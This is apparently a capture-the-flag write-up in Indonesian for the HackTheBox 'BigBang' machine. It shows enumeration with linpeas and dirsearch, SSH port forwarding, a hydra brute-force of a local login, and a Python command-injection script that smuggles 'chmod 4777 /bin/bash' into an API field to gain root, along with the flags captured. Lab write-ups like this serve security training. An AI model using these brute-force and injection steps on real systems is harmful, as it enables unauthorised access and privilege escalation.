The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Feb 4 22:05:54 2025 from 10.10.14.66
shawking@bigbang:~$ whoami
shawking
shawking@bigbang:~$ cat user.txt
f2844133e20c7318803002444ff60f24└─# ssh shawking@bigbang.htb
The authenticity of host 'bigbang.htb (10.10.11.52)' can't be established.
ED25519 key fingerprint is SHA256:w7PN9DfWgTxbKl4gY79ZdTPLHPbZEfNlJN/9PTBIFBM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'bigbang.htb' (ED25519) to the list of known hosts.
shawking@bigbang.htb's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-130-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Tue Mar 4 08:59:03 PM UTC 2025
System load: 0.0
Usage of /: 65.5% of 9.74GB
Memory usage: 25%
Swap usage: 0%
Processes: 174
Users logged in: 0
IPv4 address for eth0: 10.10.11.52
IPv6 address for eth0: dead:beef::250:56ff:feb9:7f00
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Feb 4 22:05:54 2025 from 10.10.14.66
shawking@bigbang:~$ whoami
shawking
shawking@bigbang:~$ cat user.txt
f2844133e20c7318803002444ff60f24
selanjutnya kita akan running linpeas di sini, dan kita dapatkan informasi

terdapat grafana database pada /opt/data/grafana.db, dan juga user dengan nama developer

dan ketika kita lakukan
netstat -a
disini kita dapatkan ada open ports yang kemungkinan bisa kita enumerasi lebih lanjut, 9090 & 3000
shawking@bigbang:~$ netstat -a
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 localhost:3000 0.0.0.0:* LISTEN
tcp 0 0 localhost:9090 0.0.0.0:* LISTEN
tcp 0 0 localhost:43759 0.0.0.0:* LISTEN
tcp 0 0 localhost:domain 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:mysql 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:ssh 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:http 0.0.0.0:* LISTEN
tcp 0 68 10.10.11.52:ssh 10.10.14.125:38364 ESTABLISHED
tcp 0 0 172.17.0.1:51670 172.17.0.4:mysql ESTABLISHED
disini kita akan forward port tersebut
ssh -L 9090:127.0.0.1:9090 shawking@bigbang.htb

disini kita dapat not found, namun kita akan lakukan dirsearch dan disini kita temukan sebuah endpoint
└─# dirsearch -u http://127.0.0.1:9090/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /root/reports/http_127.0.0.1_9090/__25-03-04_16-31-29.txt
Target: http://127.0.0.1:9090/
[16:31:29] Starting:
[16:31:50] 405 - 153B - /login


disini kita lakukan ordinary bruteforce dengan menggunakan hydra
hydra -l developer -P password.txt 127.0.0.1 -s 9090 http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid"
disini kita dapatkan passwordnya, dan kita akan coba curl dengan menggunakan command ini
└─# curl -X POST -v 127.0.0.1:9090/login \
-H "Content-Type: application/json" \
-d '{"username":"developer","password":"bigbang"}'
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 127.0.0.1:9090...
* Connected to 127.0.0.1 (127.0.0.1) port 9090
* using HTTP/1.x
> POST /login HTTP/1.1
> Host: 127.0.0.1:9090
> User-Agent: curl/8.12.1-DEV
> Accept: */*
> Content-Type: application/json
> Content-Length: 45
>
* upload completely sent off: 45 bytes
< HTTP/1.1 200 OK
< Server: Werkzeug/3.0.3 Python/3.10.12
< Date: Tue, 04 Mar 2025 21:15:41 GMT
< Content-Type: application/json
< Content-Length: 356
< Connection: close
<
{"access_token":"eyJ0eXA.............NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MTEyMjk0MSwianRpIjoiNTY3MzhmYWEtYmIyZS00MzY1LWE5ODQtOTY2N2I2OWI4MTk2IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTc0MTEyMjk0MSwiY3NyZiI6IjBkODQ1ZTQwLTBjYWYtNGM3Ny1iYzUxLTczNzI0OTVmMzVlYyIsImV4cCI6MTc0MTEyNjU0MX0.BnFhAy83LYWIJV5sZ4wqFrCqlc1pZOa7l6yXgrLILx8"}
* shutting down connection #0
disini kita dapatkan jwt access token, selanjutnya kita akan masuk ke user developer
shawking@bigbang:~$ su developer
Password:
developer@bigbang:/home/shawking$ whoami
developer
developer@bigbang:/home/shawking$
selanjutnya kita akan lakukan exploitasi pada endpoint /command, yang dimana endpoint ini exploitable dengan command injection, kita bisa gunakan simple python script dibawah ini
import requests
url = "http://127.0.0.1:9090/command"
headers = {
"Host": "127.0.0.1:9090",
"User-Agent": "curl/8.10.1",
"Accept": "*/*",
"Content-Type": "application/json",
"Authorization": "Bearer ............cmVzaCI6ZmFsc2UsImlhdCI6MTc0MTEyMjk0MSwianRpIjoiNTY3MzhmYWEtYmIyZS00MzY1LWE5ODQtOTY2N2I2OWI4MTk2IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTc0MTEyMjk0MSwiY3NyZiI6IjBkODQ1ZTQwLTBjYWYtNGM3Ny1iYzUxLTczNzI0OTVmMzVlYyIsImV4cCI6MTc0MTEyNjU0MX0.BnFhAy83LYWIJV5sZ4wqFrCqlc1pZOa7l6yXgrLILx8"
}
payload = {
"command": "send_image",
"output_file": "foo \n chmod 4777 /bin/bash"
}
response = requests.post(url, headers=headers, json=payload)
print("Status Code:", response.status_code)
print("Response Body:", response.text)
disini kita jalankan script tersebut dan kita dapatkan root flagnya
developer@bigbang:~$ python3 l.py
Status Code: 500
Response Body: {"error":"Error reading image file: [Errno 2] No such file or directory: 'foo \\n chmod 4777 /bin/bash'"}
developer@bigbang:~$ /bin/bash -p
bash-5.1# id
uid=1002(developer) gid=1002(developer) euid=0(root) groups=1002(developer)
bash-5.1# cat /root/root.txt
0ccc4e65e41942ecb4b94c6e82c3b693